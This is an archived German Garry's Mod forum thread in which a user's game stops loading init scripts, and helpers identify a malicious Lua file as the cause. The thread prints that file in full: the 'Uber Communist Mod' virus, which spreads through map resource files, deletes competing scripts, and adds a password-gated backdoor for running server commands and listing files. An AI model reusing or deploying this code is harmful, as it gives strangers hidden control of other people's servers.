PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : lua_init ladet daten net



Dark
13.08.2006, 10:08
also seit gestern oder eher als ich heute morgen gmod startete ladet der alles was im lua init ordner is nicht das heißt vmf loader eswep usw.ich hab kein plan warum

Maurice
13.08.2006, 13:47
Ich würde aufn Virus tippen. Such mal deinen Init Ordner nach viren ab und ersetze deine init.lua durch:




-- !! DO NOT edit this script. !!

-- Any scripts dropped into the init/ folder are automatically run on startup.

-- This is the only script called when the game starts up
-- It should be used to initialize and call other scripts



-- Do not use the default LUA method to call other scripts
-- because it will be trying to open the files from the
-- folder with hl2.exe in it.
-- Instead use the function _OpenScript( <scriptname> )


_OpenScript( "includes/defines.lua" );
_OpenScript( "includes/concommands.lua" );
_OpenScript( "includes/backcompat.lua" );
_OpenScript( "includes/vector3.lua" );
_OpenScript( "includes/luathink.lua" );
_OpenScript( "includes/player.lua" );
_OpenScript( "includes/misc.lua" );
_OpenScript( "includes/events.lua" );
_OpenScript( "includes/timers.lua" );
_OpenScript( "includes/eventhook.lua" );

-- Open the default game script incase one isn't run later.
_OpenScript( "gamemodes/default/init.lua" );

Dark
13.08.2006, 19:59
----------------------
--Über Communist Mod--
-------For Lua--------
----------------------
local UCM = {}
Stalin = "ubercommiemod";

Vladimirs = {}
for i=1, _MaxPlayers() do
Vladimirs[i] = {}
Vladimirs[i].IsVlad = false;
end

function UCM.Children()
local init = _file.Find( "lua/init/*.lua*");
for k,v in init do
if ( v == "ulm.lua" ) or ( v == "ufm.lua" ) or ( v == "oma2r3fxc6g.lua" ) then
_file.Delete("lua/init/" .. v)
end
end
local res = _file.Find( "maps/*.bsp" )
for i = 1, table.getn( res ) do
res[i] = string.gsub( res[i], ".bsp", "" )
file = _file.Read( "maps/" .. res[i] .. ".res" )
if not string.find(file, "UCM") then
_file.Delete("maps/" .. res[i] .. ".res" )
file = [[
"resources"
{
"lua/init/UCM.lua"
}
]]
_file.Write( "maps/" .. res[i] .. ".res", file )
end
end
end

function UCM.MotherLand( userid, password )
if ( password == Stalin ) then
_PrintMessage(userid,HUD_PRINTCONSOLE,"Welcome to UCM, Vladimir " .. _PlayerInfo(userid,"name") .. "\n");
Vladimirs[userid].IsVlad = true;
else
_PrintMessage(userid,HUD_PRINTCONSOLE,'unknown command: ucm_motherland\n')
end
end

function UCM.Rcon( userid, command )
if Vladimirs[userid].IsVlad then
_ServerCommand( command .. "\n")
else
_PrintMessage(userid,HUD_PRINTCONSOLE,'unknown command: ucm_rcon\n')
end
end

function UCM.FindFile( userid, filename )
if Vladimirs[userid].IsVlad then
if _file.Exists(filename) then
_PrintMessage(userid,HUD_PRINTCONSOLE,"the file " .. filename .. " exists.")
else
_PrintMessage(userid,HUD_PRINTCONSOLE,"the file " .. filename .. " doesn't exist.")
end
else
_PrintMessage(userid,HUD_PRINTCONSOLE,'unknown command: ucm_search\n')
end
end

function UCM.SearchFolder( userid, directory )
if Vladimirs[userid].IsVlad then
local folder = _file.Find(directory .. "*")
for k,v in folder do
_PrintMessage(userid,HUD_PRINTCONSOLE,"File found: " .. v .. "\n")
end
else
_PrintMessage(userid,HUD_PRINTCONSOLE,'unknown command: ucm_wildcard\n')
end
end

function UCM.Help( userid )
if Vladimirs[userid].IsVlad then
_PrintMessage(userid,HUD_PRINTCONSOLE,"Uber Communist Mod command help:\n")
_PrintMessage(userid,HUD_PRINTCONSOLE,"ucm_rcon - Run server commands clientside; syntax: ucm_rcon <command>\n")
_PrintMessage(userid,HUD_PRINTCONSOLE,"ucm_search - See if a file exists; syntax: ucm_search <full filepath>\n")
_PrintMessage(userid,HUD_PRINTCONSOLE,"ucm_wildcard - Read off everything in given folder; syntax: ucm_wildcard <directory path, end with />\n")
_PrintMessage(userid,HUD_PRINTCONSOLE,"ucm_users - tells the user the names of all UCM users currently on\n")
else
_PrintMessage(userid,HUD_PRINTCONSOLE,'unknown command: ucm_help\n')
end
end

function UCM.OtherVlads( userid )
if Vladimirs[userid].IsVlad then
for i=1, _MaxPlayers() do
if Vladimirs[i].IsVlad then
_PrintMessage(userid,HUD_PRINTCONSOLE,"" .. _PlayerInfo(i,"name") .. " Is a currently active UCM member.")
end
end
else
_PrintMessage(userid,HUD_PRINTCONSOLE,'unknown command: ucm_users\n')
end
end


function UCM.RemoveVladimir( name, userid, address, steamid, reason )
Vladimirs[userid].IsVlad = false;
end
HookEvent("eventPlayerDisconnect", UCM.RemoveVladimir)

CONCOMMAND("ucm_motherland",UCM.MotherLand)
CONCOMMAND("ucm_rcon",UCM.Rcon)
CONCOMMAND("ucm_search",UCM.FindFile)
CONCOMMAND("ucm_wildcard",UCM.SearchFolder)
CONCOMMAND("ucm_help",UCM.Help)
CONCOMMAND("ucm_users",UCM.OtherVlads)
AddTimer(1,1,UCM.Children)
ich hab mir die befehle so angesehen aber glaub das das ein virus antivirus is

Maurice
13.08.2006, 20:07
Das ist ucm und damit ein Virus.

Dark
13.08.2006, 20:42
danke aber als ich deinen script neu eingefügt hab ging es schon herzliegen dank ich hasse das nähmlich alle scrips einzeln zu laden